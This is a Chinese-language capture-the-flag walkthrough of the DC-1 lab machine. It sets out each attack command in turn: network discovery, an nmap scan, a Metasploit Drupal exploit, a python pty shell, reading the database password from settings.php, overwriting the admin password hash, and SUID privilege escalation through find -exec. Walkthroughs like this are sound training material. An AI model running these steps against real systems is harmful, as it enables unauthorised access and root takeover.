DC-1靶场
1. 靶场安装
下载地址:https://www.five86.com/downloads.html
下载好后解压安装就可,网络编辑器选择net模式,我这边使用的是与kali攻击机在同一网段。
2. 信息收集
使用sudo netdiscover -i eth0 -r 192.168.229.0/24 或者sudo arp-scan -l 查看dc-1靶机的IP地址。
我这边的地址是192.168.229.168
nmap查看开放的端口及服务版本号:nmap -sV 192.168.229.168
3. 渗透测试
可以看到开放了22 ssh服务,80 http服务,111 rpcbind服务,浏览器访问80端口看一下:
可以看到是Drupal框架,使用msfconsole搜一下有没有可以利用的
查询相关信息 search Durpal
逐一尝试后发现序号1可以使用
use 1
show options 查看需要配置的信息
set rohst 192.168.229.168
run 运行
出现这个标识就表示已经成功了
4. 获得权限
shell
获得交互界面
python -c 'import pty;pty.spawn("/bin/bash")'
ls查看当前文件内的内容
有个flag1.txt 查看一下:
cat flag1.txt
意思大概是每个好的cms框架都拥有配置文件,你也是。那就看配置文件去咯。
百度下Drupal的配置文件叫做settings.php,那就去找一下。
位置也大概找出来了,去看一下:
果然找到了,看一下内容
发现了flag2 意思大概是暴力破解和字典并不是唯一方法,下面又给出了数据库信息。
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
直接上数据库
查看数据库:show databases;
进入drupaldb数据库:use drupaldb;
展示数据库中的表 show tables;
其中有个users表,查看全部信息。
select * from users;
可以查看到用户和加密的密码,既然已经进入到数据库了,就不解密了
之前scripts文件夹包含脚本文件,看一下有个password-hash.sh的文件,看名字应该是密码加密文件,cat命令查看文件内容是php语言写的
看一下php 命令也可以运行,试着直接调用这个文件加密123456
进入数据库改下admin的密码:
update users set pass="$S$DlOpquKGPrOIP7mdYcaPDlr8lEb/arzt1zOh8HXfjseFyZRGpFBf" where name="admin";
进入网站,使用admin账号登录
依次点击功能模块,最终找到了flag3,在content模块下
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. 大概意思是跟passwd文件和shadow文件有关,去看看呗。
有一个flag4用户,转到家目录去看看
有个flag4.txt文件。提示是大概要root权限,这不就要提权了
5.提权
SUID提权 (Set UID) linux中的特殊权限,当用户运行一个拥有SUID权限的程序的时候,此进程的属主不是发起者,而是这个程序的属主才是发起者,在这个过程中调用者会拥有这个程序文件属主的权限,利用此原理进行提权。
以下这些命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以下是具有suid的命令:
find提权find / -exec "/bin/bash" -p ;
查找flag
find / -name 'flag'
最终flag在/root/目录下面